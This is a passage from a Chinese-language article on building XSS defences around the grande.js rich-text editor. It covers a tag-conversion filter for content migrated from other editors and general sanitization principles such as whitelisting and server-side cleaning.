Chrome、桌面端主流浏览器上进行粘贴功能测试。6.4 一个容易被忽略的角落从其他富文本编辑器迁移内容当你需要把用户从其他编辑器如UEditor、CKEditor生成的内容导入到grande.js系统时那些内容可能包含grande.js不支持的标签或自定义属性。技巧编写一个“迁移过滤器”。这个过滤器比常规的安全过滤器更宽松它的任务不是安全过滤而是标签转换和规范化。例如将font color\red\转换为span style\color: red;\将旧的b和i转换为更语义化的strong和em。在迁移完成后再对统一后的内容进行标准的安全净化。安全是一个持续的过程而非一劳永逸的设置。围绕grande.js构建XSS防护体系需要你深刻理解数据在用户浏览器、编辑器实例、网络传输、服务器处理、数据库存储以及最终页面渲染这个完整链条中的每一个形态变化。记住核心原则前端过滤为了体验后端净化为了安全输入要过滤输出要编码白名单优于黑名单永远不要信任用户输入。把这些原则落实到代码和配置中你的富文本编辑器才能真正地既强大又安全。
